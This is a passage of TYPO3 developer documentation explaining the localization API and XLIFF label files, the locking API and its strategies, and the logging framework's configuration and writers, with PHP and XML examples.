EXT:my_extension/Classes/Controller/ExampleController.php (not Extbase)
<?php

use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\Localization\LanguageServiceFactory;

final class ExampleController
{
    private ServerRequestInterface $request;

    public function __construct(
        private readonly LanguageServiceFactory $LanguageServiceFactory,
    ) {}

    public function processAction(
        string $content,
        array $configurations,
        ServerRequestInterface $request,
    ): string {
        $this->request = $request;

        // ...
        $content .=  $this->getTranslatedLabel(
            'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:labels.exampleLabel',
        );
        // ...

        return $content;
    }

    private function getTranslatedLabel(string $key): string
    {
        $language =
            $this->request->getAttribute('language')
                ?? $this->request->getAttribute('site')->getDefaultLanguage();
        $languageService = $this->LanguageServiceFactory
            ->createFromSiteLanguage($language);

        return $languageService->sL($key);
    }
}
Copied!

LanguageServiceFactory

This factory class is for retrieving the LanguageService at runtime, which then is used to translate strings in plain PHP. For examples see Localization in PHP. Creates a LanguageService that can then be used for localizations.

class LanguageServiceFactory
Fully qualified name
\TYPO3\CMS\Core\Localization\LanguageServiceFactory
create ( TYPO3\CMS\Core\Localization\Locale|string $locale)

Factory method to create a language service object.

param $locale

the locale

Returns
\TYPO3\CMS\Core\Localization\LanguageService
createFromUserPreferences ( ?\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication $user)
param $user

the user

Returns
\TYPO3\CMS\Core\Localization\LanguageService
createFromSiteLanguage ( \TYPO3\CMS\Core\Site\Entity\SiteLanguage $language)
param $language

the language

Returns
\TYPO3\CMS\Core\Localization\LanguageService

Locale

The \TYPO3\CMS\Core\Localization\Locale class unifies the handling of locales instead of dealing with "default" or other TYPO3-specific namings.

The Locale class is instantiated with a string following the IETF RFC 5646 language tag standard:

use TYPO3\CMS\Core\Localization\Locale;

$locale = new Locale('de-CH');
Copied!

A locale supported by TYPO3 consists of the following parts (tags and subtags):

  • ISO 639-1 / ISO 639-2 compatible language key in lowercase (such as fr for French or de for German)
  • optionally the ISO 15924 compatible language script system (4 letter, such as Hans as in zh_Hans)
  • optionally the region / country code according to ISO 3166-1 standard in upper camelcase such as AT for Austria.

Examples for a locale string are:

  • en for English
  • pt for Portuguese
  • da-DK for Danish as used in Denmark
  • de-CH for German as used in Switzerland
  • zh-Hans-CN for Chinese with the simplified script as spoken in China (mainland)

The Locale object can be used to create a new LanguageService object via the LanguageServiceFactory for translating labels. Previously, TYPO3 used the default language key, instead of the locale en to identify the English language. Both are supported, but it is encouraged to use en-US or en-GB with the region subtag to identify the chosen language more precisely.

Example for using the Locale class for creating a LanguageService object for translations:

EXT:my_extension/Classes/LocaleExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Localization\LanguageServiceFactory;
use TYPO3\CMS\Core\Localization\Locale;

final class LocaleExample
{
    public function __construct(
        private readonly LanguageServiceFactory $languageServiceFactory,
    ) {}

    public function doSomething()
    {
        $languageService = $this->languageServiceFactory->create(new Locale('de-CH'));
        $myTranslatedString = $languageService->sL(
            'LLL:EXT:my_extension/Resources/Private/Language/myfile.xlf:my-label',
        );
    }
}
Copied!

API

class Locale
Fully qualified name
\TYPO3\CMS\Core\Localization\Locale
A representation of
language key (based on ISO 639-1 / ISO 639-2)
- the optional four-letter script code that can follow the language code according to the Unicode ISO 15924 Registry (e.g. Hans in zh_Hans)
  • region / country (based on ISO 3166-1)

separated with a "-".

This conforms to IETF - RFC 5646 (see https://datatracker.ietf.org/doc/rfc5646/) in a simplified form.

getName ( )
Returns
string
getLanguageCode ( )
Returns
string
isRightToLeftLanguageDirection ( )
Returns
bool
getLanguageScriptCode ( )
Returns
?string
getCountryCode ( )
Returns
?string
getDependencies ( )
Returns
array
__toString ( )
Returns
string

LocalizationUtility (Extbase)

This class is used to translate strings within Extbase context. For an example see Localization in Extbase.

class LocalizationUtility
Fully qualified name
\TYPO3\CMS\Extbase\Utility\LocalizationUtility

Localization helper which should be used to fetch localized labels.

translate ( string $key, ?string $extensionName = NULL, ?array $arguments = NULL, ?TYPO3\CMS\Core\Localization\Locale|string|null $languageKey = NULL)

Returns the localized label of the LOCAL_LANG key, $key.

param $key

The key from the LOCAL_LANG array for which to return the value.

param $extensionName

The name of the extension, default: NULL

param $arguments

The arguments of the extension, being passed over to sprintf, default: NULL

param $languageKey

The language key or null for using the current language from the system, default: NULL

Return description

The value from LOCAL_LANG or null if no translation was found.

Returns
string|null

XLIFF Format

The XML Localization Interchange File Format (or XLIFF) is an OASIS-blessed standard format for translations.

In a nutshell, an XLIFF document contains one or more <file> elements. Each file element usually corresponds to a source (file or database table) and contains the source of the localizable data. Once translated, the corresponding localized data is added for one, and only one, locale.

Localizable data is stored in <trans-unit> elements. <trans-unit> contains a <source> element to store the source text and a (non-mandatory) <target> element to store the translated text.

The default language is always English, even if you have changed your TYPO3 backend to another language. It is mandatory to set source-language="en".

Basics

Here is a sample XLIFF file:

EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf
<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
    <file source-language="en" datatype="plaintext" original="EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf" date="2020-10-18T18:20:51Z" product-name="my_ext">
        <header/>
        <body>
            <trans-unit id="headerComment">
                <source>The default Header Comment.</source>
            </trans-unit>
            <trans-unit id="generator">
                <source>The "Generator" Meta Tag.</source>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

The following attributes should be populated properly in order to get the best support in external translation tools:

original (in <file> tag)
This property contains the path to the xlf file.

If the external tool used depends on the attribute resname you can also define it. TYPO3 does not consider this attribute.

The translated file is very similar. If the original file was named locallang.xlf, the translated file for German (code "de") will be named de.locallang.xlf.

One can use a custom label file, for example, with the locale prefix de_CH.locallang.xlf in an extension next to de.locallang.xlf and locallang.xlf (default language English).

When integrators then use "de-CH" within their site configuration, TYPO3 first checks if a term is available in de_CH.locallang.xlf, and then automatically falls back to the non-region-specific "de" label file de.locallang.xlf without any further configuration to TYPO3.

Before TYPO3 v12.2, one has to define a custom language.

In the file itself, a target-language attribute is added to the <file> tag to indicate the translation language ("de" in our example). TYPO3 does not consider the target-language attribute for its own processing of translations, but the filename prefix instead. The attribute might be useful though for human translators or tools. Then, for each <source> tag there is a sibling <target> tag that contains the translated string.

This is how the translation of our sample file might look like:

EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf
<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
    <file source-language="en" target-language="de" datatype="plaintext" original="EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf" date="2020-10-18T18:20:51Z" product-name="my_ext">
        <header/>
        <body>
            <trans-unit id="headerComment" approved="yes">
                <source>The default Header Comment.</source>
                <target>Der Standard-Header-Kommentar.</target>
            </trans-unit>
            <trans-unit id="generator" approved="yes">
                <source>The "Generator" Meta Tag.</source>
                <target>Der "Generator"-Meta-Tag.</target>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

Only one language can be stored per file, and each translation into another language is placed in an additional file.

File locations and naming

In the TYPO3 Core, XLIFF files are located in the various system extensions as needed and are expected to be located in Resources/Private/Language.

In Extbase, the main file (locallang.xlf) is loaded automatically and is available in the controller and Fluid views without any further work. Other files must be explicitly referenced with the syntax LLL:EXT:extkey/Resources/Private/Language/myfile.xlf:my.label.

As mentioned above, the translation files follow the same naming conventions, but are prepended with the language code and a dot. They are stored alongside the default language files.

ID naming

It is recommended to apply the following rules for defining identifiers (the id attribute).

Separate by dots

Use dots to separate logical parts of the identifier.

Good example:

CType.menuAbstract
Copied!

Bad examples:

CTypeMenuAbstract
CType-menuAbstract
Copied!

Namespace

Group identifiers together with a useful namespace.

Good example:

CType.menuAbstract
Copied!

This groups all available content types for content elements by using the same prefix CType..

Bad example:

menuAbstract
Copied!

Namespaces should be defined by context. menuAbstract.CType could also be a reasonable namespace if the context is about menuAbstract.

lowerCamelCase

Generally, lowerCamelCase should be used:

Good example:

frontendUsers.firstName
Copied!

Working with XLIFF files

Access labels

Label access in PHP

In PHP, a typical call in the Backend to fetch a string in the language selected by a user looks like this:

$this->getLanguageService()->sL('LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:labels.minutesHoursDaysYears')
Copied!

getLanguageService() is a call to a helper method that accesses $GLOBALS['LANG']. In the Backend, the bootstrap parks an initialized instance of \TYPO3\CMS\Core\Localization\LanguageService at this place. This may change in the future, but for now the LanguageService can be reliably fetched from this global.

If additional placeholders are used in a translation source, they must be injected, a call then typically looks like this:

// Text string in .xlf file has a placeholder:
// <trans-unit id="message.description.fileHasBrokenReferences">
//     <source>The file has %1s broken reference(s) but it will be deleted regardless.</source>
// </trans-unit>
sprintf($this->getLanguageService()->sL(
    'LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:message.description.fileHasBrokenReferences'),
    count($brokenReferences)
);
Copied!

Various classes are involved in the localization process, with \TYPO3\CMS\Core\Localization\LanguageService providing the actual methods to retrieve a localized label. sL() loads a language file if needed first, and then returns a label from it (using a string with the LLL:EXT:... syntax as argument).

Extbase class \TYPO3\CMS\Extbase\Utility\LocalizationUtility is essentially a convenience wrapper around the \TYPO3\CMS\Core\Localization\LanguageService class, whose translate() method also takes an array as argument and runs PHP's vsprintf() on the localized string. However, in the future it is expected this Extbase specific class will melt down and somehow merged into the Core API classes to get rid of this duplication.

Label access in Fluid

In Fluid, a typical call to fetch a string in the language selected by a user looks like this:

<f:translate key="key1" extensionName="SomeExtensionName" />
// or inline notation
{f:translate(key: 'someKey', extensionName: 'SomeExtensionName')}
Copied!

If the correct context is set, the current extension name and language is provided by the request. Otherwise it must be provided.

The documentation for the Viewhelper can be found at Translate ViewHelper <f:translate>.

Locking API

TYPO3 uses the locking API in the Core. You can do the same in your extension for operations which require locking. This is the case if you use a resource, where concurrent access can be a problem. For example if you are getting a cache entry, while another process sets the same entry. This may result in incomplete or corrupt data, if locking is not used.

Locking strategies

A locking strategy must implement the LockingStrategyInterface. Several locking strategies are shipped with the Core. If a locking strategy uses a mechanism or function, that is not available on your system, TYPO3 will automatically detect this and not use this mechanism and respective locking strategy (e.g. if function sem_get() is not available, SemaphoreLockStrategy will not be used).

  • FileLockStrategy: uses the PHP function flock() and creates a file in typo3temp/var/lock The directory can be overwritten by configuration:

    config/system/additional.php | typo3conf/system/additional.php
    use TYPO3\CMS\Core\Locking\FileLockStrategy;
    
    // The directory specified here must exist und must be a subdirectory of `Environment::getProjectPath()`
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['locking']['strategies'][FileLockStrategy::class]['lockFileDir'] = 'mylockdir';
    Copied!
  • SemaphoreLockStrategy: uses the PHP function sem_get()
  • SimpleLockStrategy is a simple method of file locking. It also uses the folder typo3temp/var/lock.

Extensions can add a locking strategy by providing a class which implements the LockingStrategyInterface.

If a function requires a lock, the locking API is asked for the best fitting mechanism matching the requested capabilities. This is done by a combination of:

capabilities
The capability of the locking strategy and the requested capability must match (e.g. if you need a non-blocking lock, only the locking strategies that support acquiring a lock without blocking are available for this lock).
priority
Each locking strategy assigns itself a priority. If more than one strategy is available for a specific capability (e.g. exclusive lock), the one with the highest priority is chosen.
locking strategy supported on system
Some locking strategies do basic checks, e.g. semaphore locking is only available on Linux systems.

Capabilities

These are the current capabilities, that can be used (see EXT:core/Classes/Locking/LockingStrategyInterface.php (GitHub):

In general, the concept of locking, using shared or exclusive + blocking or non-blocking locks is not TYPO3-specific. You can find more resources under Related Information.

LOCK_CAPABILITY_EXCLUSIVE

A lock can only be acquired exclusively once and is then locked (in use). If another process or thread tries to acquire the same lock, it will:

  • If locking strategy without LOCK_CAPABILITY_NOBLOCK is used either:

    • block or
    • throw LockAcquireException, if the lock could not be acquired - even with blocking
  • If locking strategy with LOCK_CAPABILITY_NOBLOCK is used, this should not block and do either:

    • return false or
    • throw LockAcquireWouldBlockException, if trying to acquire lock would block
    • throw LockAcquireException, if the lock could not be acquired
LOCK_CAPABILITY_SHARED
A lock can be acquired by multiple processes, if it has this capability and the lock is acquired with LOCK_CAPABILITY_SHARED. The lock cannot be acquired shared, if it has already been acquired exclusively, until the exclusive lock is released.
LOCK_CAPABILITY_NOBLOCK
If a locking strategy includes this as capability, it should be capable of acquiring a lock without blocking. The function acquire() can pass the non-blocking requirement by adding LOCK_CAPABILITY_NOBLOCK to the first argument $mode.

You can use bitwise OR to combine them:

$capabilities = LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE
    | LockingStrategyInterface::LOCK_CAPABILITY_SHARED
    | LockingStrategyInterface::LOCK_CAPABILITY_NOBLOCK
Copied!

Priorities

Every locking strategy must have a priority. This is returned by the function LockingStrategyInterface::getPriority() which must be implemented in each locking strategy.

Currently, these are the priorities of the locking strategies supplied by the Core:

  • FileLockStrategy: 75
  • SimpleLockStrategy: 50
  • SemaphoreLockStrategy: 25

To change the locking strategy priority, the priority can be overwritten by configuration, for example in additional configuration:

config/system/additional.php | typo3conf/system/additional.php
use TYPO3\CMS\Core\Locking\FileLockStrategy;

$GLOBALS['TYPO3_CONF_VARS']['SYS']['locking']['strategies'][FileLockStrategy::class]['priority'] = 10;
Copied!

Examples

Acquire and use an exclusive, blocking lock:

EXT:site_package/Classes/Domain/Repository/SomeRepository.php
use TYPO3\CMS\Core\Locking\LockingStrategyInterface;
use TYPO3\CMS\Core\Locking\LockFactory;
// ...

$lockFactory = GeneralUtility::makeInstance(LockFactory::class);

// createLocker will return an instance of class which implements
// LockingStrategyInterface, according to required capabilities.
// Here, we are asking for an exclusive, blocking lock. This is the default,
// so the second parameter could be omitted.
$locker = $lockFactory->createLocker('someId', LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE);

// now use the locker to lock something exclusively, this may block (wait) until lock is free, if it
// has been used already
if ($locker->acquire(LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE)) {
    // do some work that required exclusive locking here ...

    // after you did your stuff, you must release
    $locker->release();
}
Copied!

Acquire and use an exclusive, non-blocking lock:

EXT:site_package/Classes/Domain/Repository/SomeRepository.php
use TYPO3\CMS\Core\Locking\LockingStrategyInterface;
use TYPO3\CMS\Core\Locking\LockFactory;
// ...

$lockFactory = GeneralUtility::makeInstance(LockFactory::class);

// get lock strategy that supports exclusive, shared and non-blocking
$locker = $lockFactory->createLocker('id',
    LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE | LockingStrategyInterface::LOCK_CAPABILITY_NOBLOCK);

// now use the locker to lock something exclusively, this will not block, so handle retry / abort yourself,
// e.g. by using a loop
if ($locker->acquire(LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE | LockingStrategyInterface::LOCK_CAPABILITY_NOBLOCK)) {
    // ... some work to be done that requires locking

    // after you did your stuff, you must release
    $locker->release();
}
Copied!

Usage in the Core

The locking API is used in the Core for caching, see TypoScriptFrontendController.

Extend locking in Extensions

An extension can extend the locking functionality by adding a new locking strategy. This can be done by writing a new class which implements the EXT:core/Classes/Locking/LockingStrategyInterface.php (GitHub).

Each locking strategy has a set of capabilities (getCapabilities()), and a priority (getPriority()), so give your strategy a priority higher than 75 if it should override the current top choice FileLockStrategy by default.

If you want to release your file locking strategy extension, make sure to make the priority configurable, as is done in the TYPO3 Core:

public static function getPriority()
{
    return $GLOBALS['TYPO3_CONF_VARS']['SYS']['locking']['strategies'][self::class]['priority']
        ?? self::DEFAULT_PRIORITY;
}
Copied!

See EXT:core/Classes/Locking/FileLockStrategy.php (GitHub) for an example.

Caveats

FileLockStrategy & NFS

There is a problem with PHP flock() on NFS systems. This problem may or may not affect you, if you use NFS. See this issue for more information

  • Forge Issue: FileLockStrategy fails on NFS folders <72074>

or check if PHP flock works on your filesystem.

The FileLockStrategy uses flock(). This will create a file in typo3temp/var/lock.

Because of its capabilities (LOCK_CAPABILITY_EXCLUSIVE, LOCK_CAPABILITY_SHARED and LOCK_CAPABILITY_NOBLOCK) and priority (75), FileLockStrategy is used as first choice for most locking operations in TYPO3.

Multiple servers & Cache locking

Since the Core uses the locking API for some cache operations (see for example TypoScriptFrontendController), make sure that you correctly setup your caching and locking if you share your TYPO3 instance on multiple servers for load balancing or high availability.

Specifically, this may be a problem:

  • Do not use a local locking mechanism (e.g. semaphores or file locks in typo3temp/var, if typo3temp/var is mapped to local storage and not shared) in combination with a central cache mechanism (e.g. central Redis or DB used for page caching in TYPO3)

Logging

The chapter Quickstart helps you get started.

TYPO3 Logging consists of the following components:

  • A Logger that receives the log message and related details, like a severity.
  • A LogRecord model which encapsulates the data
  • Configuration of the logging system
  • Writers which write the log records to different targets (like file, database, rsyslog server, etc.)
  • Processors which enhance the log record with more detailed information.

Contents:

Quickstart

Instantiate a logger for the current class

Constructor injection can be used to automatically instantiate the logger:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use Psr\Log\LoggerInterface;

class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {}
}
Copied!

Log

Log a simple message (in this example with the log level "warning"):

EXT:my_extension/Classes/MyClass.php
$this->logger->warning('Something went awry, check your configuration!');
Copied!

Provide additional context information with the log message (in this example with the log level "error"):

EXT:my_extension/Classes/MyClass.php
$this->logger->error('Passing {value} was unwise.', [
    'value' => $value,
    'other_data' => $foo,
]);
Copied!

Values in the message string that should vary based on the error (such as specifying an invalid value) should use placeholders, denoted by { }. Provide the value for that placeholder in the context array.

$this->logger->warning() etc. are only shorthands - you can also call $this->logger->log() directly and pass the severity level:

EXT:my_extension/Classes/MyClass.php
// use Psr\Log\LogLevel;

$this->logger->log(LogLevel::CRITICAL, 'This is an utter failure!');
Copied!

Set logging output

TYPO3 has the FileWriter enabled by default for warnings ( LogLevel::WARNING) and higher severity, so all matching log entries are written to a file.

If the filename is not set, then the file will contain a hash like

var/log/typo3_<hash>.log, for example var/log/typo3_7ac500bce5.log.

typo3temp/var/log/typo3_<hash>.log, for example typo3temp/var/log/typo3_7ac500bce5.log.

A sample output looks like this:

Fri, 19 Jul 2023 09:45:00 +0100 [WARNING] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": Something went awry, check your configuration!
Fri, 19 Jul 2023 09:45:00 +0100 [ERROR] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": Passing someValue was unwise. - {"value":"someValue","other_data":{}}
Fri, 19 Jul 2023 09:45:00 +0100 [CRITICAL] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": This is an utter failure!
Copied!

Logger

Instantiation

Constructor injection can be used to automatically instantiate the logger:

EXT:my_extension/Classes/Service/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use Psr\Log\LoggerInterface;

class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {}
}
Copied!

The log() method

The \TYPO3\CMS\Core\Log\Logger class provides a central point for submitting log messages, the log() method:

$this->logger->log($level, $message, $data);
Copied!

which takes three parameters:

$level

$level
Type
integer

One of the defined log levels, see the section Log levels and shorthand methods.

$message

$message
Type
string | \Stringable

The log message itself.

$data

$data
Type
array

Optional parameter, it can contain additional data, which is added to the log record in the form of an array.

An early return in the log() method prevents unneeded computation work to be done. So you are safe to call the logger with the debug log level frequently without slowing down your code too much. The logger will know by its configuration, what the most explicit severity level is.

As a next step, all registered processors are notified. They can modify the log records or add extra information.

The logger then forwards the log records to all of its configured writers, which will then persist the log record.

Log levels and shorthand methods

The log levels - according to RFC 3164 - start from the lowest level. For each of the severity levels mentioned below, a shorthand method exists in \TYPO3\CMS\Core\Log\Logger :

Debug

Debug
Class constant
\Psr\Log\LogLevel::DEBUG
Shorthand method
$this->logger->debug($message, $context);

For debug information: give detailed status information during the development of PHP code.

Informational

Informational
Class constant
\Psr\Log\LogLevel::INFO
Shorthand method
$this->logger->info($message, $context);

For informational messages, some examples:

  • A user logs in.
  • Connection to third-party system established.
  • Logging of SQL statements.

Notice

Notice
Class constant
\Psr\Log\LogLevel::NOTICE
Shorthand method
$this->logger->notice($message, $context);

For significant conditions. Things you should have a look at, nothing to worry about though. Some examples:

  • A user logs in.
  • Logging of SQL statements.

Warning

Warning
Class constant
\Psr\Log\LogLevel::WARNING
Shorthand method
$this->logger->warning($message, $context);

For warning conditions. Some examples:

  • Use of a deprecated method.
  • Undesirable events that are not necessarily wrong.

Error

Error
Class constant
\Psr\Log\LogLevel::ERROR
Shorthand method
$this->logger->error($message, $context);

For error conditions. Some examples:

  • A runtime error occurred.
  • Some PHP coding error has happened.
  • A white screen is shown.

Critical

Critical
Class constant
\Psr\Log\LogLevel::CRITICAL
Shorthand method
$this->logger->critical($message, $context);

For critical conditions. Some examples:

  • An unexpected exception occurred.
  • An important file has not been found.
  • Data is corrupt or outdated.

Alert

Alert
Class constant
\Psr\Log\LogLevel::ALERT
Shorthand method
$this->logger->alert($message, $context);

For blocking conditions, action must be taken immediately. Some examples:

  • The entire website is down.
  • The database is unavailable.

Emergency

Emergency
Class constant
\Psr\Log\LogLevel::EMERGENCY
Shorthand method
$this->logger->emergency($message, $context);

Nothing works, the system is unusable. You will likely not be able to reach the system. You better have a system administrator reachable when this happens.

Channels

It is possible to group several classes into channels, regardless of the PHP namespace.

Services are able to control the component name that an injected logger is created with. This allows to group logs of related classes and is basically a channel system as often used in Monolog.

The \TYPO3\CMS\Core\Log\Channel attribute is supported for constructor argument injection as a class and parameter-specific attribute and for \Psr\Log\LoggerAwareInterface dependency injection services as a class attribute.

Registration via class attribute for \Psr\Log\LoggerInterface injection:

EXT:my_extension/Classes/Service/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service\MyClass;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Core\Log\Channel;

#[Channel('security')]
class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {}
}
Copied!

Registration via parameter attribute for \Psr\Log\LoggerInterface injection, overwrites possible class attributes:

EXT:my_extension/Classes/Service/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service\MyClass;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Core\Log\Channel;

class MyClass
{
    public function __construct(
        #[Channel('security')]
        private readonly LoggerInterface $logger,
    ) {}
}
Copied!

The instantiated logger will now have the channel "security", instead of the default one, which would be a combination of namespace and class of the instantiating class, such as MyVendor.MyExtension.Service.MyClass.

Using the channel

The channel "security" can then be used in the logging configuration:

config/system/additional.php | typo3conf/system/additional.php
use Psr\Log\LogLevel;
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

$GLOBALS['TYPO3_CONF_VARS']['LOG']['security']['writerConfiguration'] = [
    LogLevel::DEBUG => [
        FileWriter::class => [
            'logFile' => Environment::getVarPath() . '/log/security.log'
        ]
    ],
];
Copied!

The written log messages will then have the component name "security", such as:

var/log/security.log
Fri, 21 Jul 2023 16:26:13 +0000 [DEBUG] ... component="security": ...
Copied!

For more examples for configuring the logging see the Writer configuration section.

Examples

Examples of the usage of the logger can be found in the extension t3docs/examples . in file /Classes/Controller/ModuleController.php

Best practices

There are no strict rules or guidelines about logging. Still it can be considered to be best practice to follow these rules:

Use placeholders

Adhere to the PSR-3 placeholder specification. This is necessary in order to use proper PSR-3 logging.

Bad example:

$this->logger->alert(
    'Password reset requested for email "'
    . $emailAddress . '" but was requested too many times.'
);
Copied!

Good example:

$this->logger->alert(
    'Password reset requested for email "{email}" but was requested too many times.',
    ['email' => $emailAddress]
);
Copied!

The first argument is the message, the second (optional) argument is a context. A message can use {placeholders}. All Core provided log writers will substitute placeholders in the message with data from the context array, if a context array key with same name exists.

Meaningful message

The message itself has to be meaningful, for example, exception messages.

Bad example:

"Something went wrong"
Copied!

Good example:

"Could not connect to database"
Copied!

Searchable message

Most of the times log entries will be stored. They are most important, if something goes wrong within the system. In such situations people might search for specific issues or situations, considering this while writing log entries will reduce debugging time in future.

Messages should therefore contain keywords that might be used in searches.

Good example:

"Connection to MySQL database could not be established"
Copied!

This includes "connection", "mysql" and "database" as possible keywords.

Distinguishable and grouped

Log entries might be collected and people might scroll through them. Therefore it is helpful to write log entries that are distinguishable, but are also grouped.

Bad examples:

"Database not reached"
"Could not establish connection to memcache"
Copied!

Good examples:

"Connection to MySQL database could not be established"
"Connection to memcache could not be established"
Copied!

This way the same issue is grouped by the same structure, and one can scan the same position for either "MySQL" or "memcache".

Provide useful information

TYPO3 already uses the component of the logger to give some context. Still further individual context might be available that should be added. In case of an exception, the code, stacktrace, file and line number would be helpful.

Keep in mind that it is hard to add information afterwards. Logging is there to get information if something got wrong. All necessary information should be available to get the state of the system and why something happened.

Configuration of the logging system

The instantiation of loggers is configuration-free, as the log manager automatically applies its configuration.

The logger configuration is read from $GLOBALS['TYPO3_CONF_VARS']['LOG'] , which contains an array reflecting the namespace and class hierarchy of your TYPO3 project.

For example, to apply a configuration for all loggers within the \TYPO3\CMS\Core\Cache namespace, the configuration is read from $GLOBALS['TYPO3_CONF_VARS']['LOG']['TYPO3']['CMS']['Core']['Cache'] . So every logger requested for classes like \TYPO3\CMS\Core\Cache\CacheFactory, \TYPO3\CMS\Core\Cache\Backend\NullBackend , etc. will get this configuration applied.

Configuring the logging for extensions works the same.

Writer configuration

The log writer configuration is read from the sub-key writerConfiguration of the configuration array:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['LOG']['writerConfiguration'] = [
    // Configuration for ERROR level log entries
    \Psr\Log\LogLevel::ERROR => [
        // Add a FileWriter
        \TYPO3\CMS\Core\Log\Writer\FileWriter::class => [
            // Configuration for the writer
            'logFile' => \TYPO3\CMS\Core\Core\Environment::getVarPath() . '/log/typo3_7ac500bce5.log'
        ],
    ],
];
Copied!

The above configuration applies to all log entries of level "ERROR" or above.

To apply a special configuration for the controllers of the examples extension, use the following configuration:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['writerConfiguration'] = [
    // Configuration for WARNING severity, including all
    // levels with higher severity (ERROR, CRITICAL, EMERGENCY)
    \Psr\Log\LogLevel::WARNING => [
        // Add a SyslogWriter
        \TYPO3\CMS\Core\Log\Writer\SyslogWriter::class => [],
    ],
];
Copied!

This overwrites the default configuration shown in the first example for classes located in the namespace \T3docs\Examples\Controller.

One more example:

config/system/additional.php | typo3conf/system/additional.php
// Configure logging ...

// For class \T3docs\Examples\Controller\FalExampleController
$GLOBALS['TYPO3_CONF_VARS']['LOG']
    ['T3docs']['Examples']['Controller']['FalExampleController']
    ['writerConfiguration'] = [
        // ...
    ];

// For channel "security"
$GLOBALS['TYPO3_CONF_VARS']['LOG']['security']['writerConfiguration'] = [
    // ...
];
Copied!

For more information about channels, see Channels.

An arbitrary number of writers can be added for every severity level (INFO, WARNING, ERROR, ...). The configuration is applied to log entries of the particular severity level plus all levels with a higher severity. Thus, a log message created with $logger->warning() will be affected by the writer configuration for the log levels:

  • LogLevel::DEBUG
  • LogLevel::INFO
  • LogLevel::NOTICE
  • LogLevel::WARNING

For the above example code that means:

  • Calling $logger->warning($msg); will result in $msg being written to the computer's syslog on top of the default configuration.
  • Calling $logger->debug($msg); will result in $msg being written only to the default log file (var/log/typo3_<hash>.log).

For a list of writers shipped with the TYPO3 Core see the section about Log writers.

Processor configuration

Similar to the writer configuration, log record processors can be configured on a per-class and per-namespace basis with the sub-key processorConfiguration:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['processorConfiguration'] = [
    // Configuration for ERROR level log entries
    \Psr\Log\LogLevel::ERROR => [
        // Add a MemoryUsageProcessor
        \TYPO3\CMS\Core\Log\Processor\MemoryUsageProcessor::class => [
            'formatSize' => TRUE
        ],
    ],
];
Copied!

For a list of processors shipped with the TYPO3 Core, see the section about Log processors.

Disable all logging

In some setups it is desirable to disable all logs and to only enable them on demand. You can disable all logs by unsetting $GLOBALS['TYPO3_CONF_VARS']['LOG'] at the end of your additional.php:

config/system/additional.php | typo3conf/system/additional.php
// disable all logging
unset($GLOBALS['TYPO3_CONF_VARS']['LOG']);
Copied!

You can then temporarily enable logging by commenting out this line:

config/system/additional.php | typo3conf/system/additional.php
// unset($GLOBALS['TYPO3_CONF_VARS']['LOG']);
// By commenting out the line above you can enable logging again.
Copied!

The LogRecord model

All logging data is modeled using \TYPO3\CMS\Core\Log\LogRecord .

This model has the following properties:

requestId
A unique identifier for each request which is created by the TYPO3 bootstrap.
created
The timestamp with microseconds when the record is created.
component
The name of the logger which created the log record, usually the fully-qualified class name where the logger has been instantiated.
level
An integer severity level from \Psr\Log\LogLevel.
message
The log message string.
data
Any additional data, encapsulated within an array.

The API to create a new instance of LogRecord is \TYPO3\CMS\Core\Log\Logger:log() or one of the shorthand methods.

The LogRecord class implements the \ArrayAccess interface so that the properties can be accessed like a native array, for example: $logRecord['requestId']. It also implements a __toString() method for your convenience, which returns the log record as a simplified string.

A log record can be processed using log processors or log writers. Log processors are meant to add values to the data property of a log record. For example, if you would like to add a stack trace, use \TYPO3\CMS\Core\Log\Processor\IntrospectionProcessor .

Log writers are used to write a log record to a particular target, for example, a log file.

Log writers

The purpose of a log writer is (usually) to save all log records into a persistent storage, like a log file, a database table, or to a remote syslog server.

Different log writers offer possibilities to log into different targets. Custom log writers can extend the functionality shipped with TYPO3 Core.

Built-in log writers

This section describes the log writers shipped with the TYPO3 Core. Some writers have options to allow customization of the particular writer. See the configuration section on how to use these options.

DatabaseWriter

The database writer logs into a database table. This table has to reside in the database used by TYPO3 and is not automatically created.

The following option is available:

logTable

logTable
Type
string
Mandatory
no
Default
sys_log

The database table to write to.

